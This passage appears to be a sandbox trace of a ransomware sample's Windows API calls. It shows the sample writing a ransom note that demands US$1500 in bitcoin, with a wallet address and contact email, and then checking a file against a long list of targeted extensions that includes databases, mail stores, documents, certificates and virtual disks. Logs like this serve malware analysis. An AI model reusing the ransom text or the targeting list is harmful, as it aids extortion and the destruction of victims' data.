lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\" [0109.808] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\") returned="" [0109.808] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\HOW TO DECRYPT FILES.txt" [0109.808] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\25a305f72aa5af4fe45b44d9aeb1a628\\how to decrypt files.txt")) returned 0xffffffff [0109.808] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.visualstu#\\25a305f72aa5af4fe45b44d9aeb1a628\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0109.858] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0109.858] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0109.860] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0109.860] CloseHandle (hObject=0x90) returned 1 [0109.860] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\", lpString2="Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll" [0109.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0109.860] lstrlenA (lpString="*.ems") returned 5 [0109.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0109.861] lstrlenA (lpString="*.db") returned 4 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0109.861] lstrlenA (lpString="*.dbf") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0109.861] lstrlenA (lpString="*.myox") returned 6 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0109.861] lstrlenA (lpString="*.myo") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0109.861] lstrlenA (lpString="*.qbw") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0109.861] lstrlenA (lpString="*.qbb") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0109.861] lstrlenA (lpString="*.qbm") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0109.861] lstrlenA (lpString="*.qbo") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0109.861] lstrlenA (lpString="*.qbx") returned 5 [0109.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0109.862] lstrlenA (lpString="*.qba") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0109.862] lstrlenA (lpString="*.qby") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0109.862] lstrlenA (lpString="*.qbj") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0109.862] lstrlenA (lpString="*.ofx") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0109.862] lstrlenA (lpString="*.qif") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0109.862] lstrlenA (lpString="*.mye") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0109.862] lstrlenA (lpString="*.mbox") returned 6 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.862] lstrlenA (lpString="*.eml") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0109.862] lstrlenA (lpString="*.pst") returned 5 [0109.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0109.862] lstrlenA (lpString="*.ost") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0109.863] lstrlenA (lpString="*.idx") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0109.863] lstrlenA (lpString="*.dbx") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0109.863] lstrlenA (lpString="*.sql") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0109.863] lstrlenA (lpString="*.mdb") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0109.863] lstrlenA (lpString="*.fdb") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0109.863] lstrlenA (lpString="*.wab") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0109.863] lstrlenA (lpString="*.dat") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0109.863] lstrlenA (lpString="*.txt") returned 5 [0109.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0109.863] lstrlenA (lpString="*.jpeg") returned 6 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0109.864] lstrlenA (lpString="*.jpg") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0109.864] lstrlenA (lpString="*.png") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0109.864] lstrlenA (lpString="*.php") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0109.864] lstrlenA (lpString="*.cs") returned 4 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0109.864] lstrlenA (lpString="*.cpp") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0109.864] lstrlenA (lpString="*.rar") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0109.864] lstrlenA (lpString="*.zip") returned 5 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0109.864] lstrlenA (lpString="*.html") returned 6 [0109.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0109.865] lstrlenA (lpString="*.htm") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0109.865] lstrlenA (lpString="*.xlsx") returned 6 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0109.865] lstrlenA (lpString="*.xls") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0109.865] lstrlenA (lpString="*.mp4") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0109.865] lstrlenA (lpString="*.ppt") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0109.865] lstrlenA (lpString="*.pptx") returned 6 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0109.865] lstrlenA (lpString="*.doc") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0109.865] lstrlenA (lpString="*.dot") returned 5 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0109.865] lstrlenA (lpString="*.docx") returned 6 [0109.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0109.865] lstrlenA (lpString="*.7z") returned 4 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0109.866] lstrlenA (lpString="*.tar") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0109.866] lstrlenA (lpString="*.bz2") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0109.866] lstrlenA (lpString="*.gz") returned 4 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0109.866] lstrlenA (lpString="*.mkv") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0109.866] lstrlenA (lpString="*.eml") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0109.866] lstrlenA (lpString="*.msg") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0109.866] lstrlenA (lpString="*.edb") returned 5 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0109.866] lstrlenA (lpString="*.accdb") returned 7 [0109.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0109.866] lstrlenA (lpString="*.odb") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0109.867] lstrlenA (lpString="*.java") returned 6 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0109.867] lstrlenA (lpString="*.asm") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0109.867] lstrlenA (lpString="*.pfx") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0109.867] lstrlenA (lpString="*.pem") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0109.867] lstrlenA (lpString="*.p12") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0109.867] lstrlenA (lpString="*.gpg") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0109.867] lstrlenA (lpString="*.vsd") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0109.867] lstrlenA (lpString="*.odg") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0109.867] lstrlenA (lpString="*.raw") returned 5 [0109.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0109.867] lstrlenA (lpString="*.nef") returned 5 [0109.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0109.915] lstrlenA (lpString="*.svg") returned 5 [0109.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0109.915] lstrlenA (lpString="*.psd") returned 5 [0109.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0109.915] lstrlenA (lpString="*.vmx") returned 5 [0109.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0109.915] lstrlenA (lpString="*.vmdk") returned 6 [0109.915] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0109.915] lstrlenA (lpString="*.vdi") returned 5 [0109.916] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.VisualStu#\\25a305f72aa5af4fe45b44d9aeb1a628\\Microsoft.VisualStudio.Tools.Office.Excel.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0109.916] lstrlenA (lpString="*.lay6") returned 6 [0109.916] PathMatchSpecA 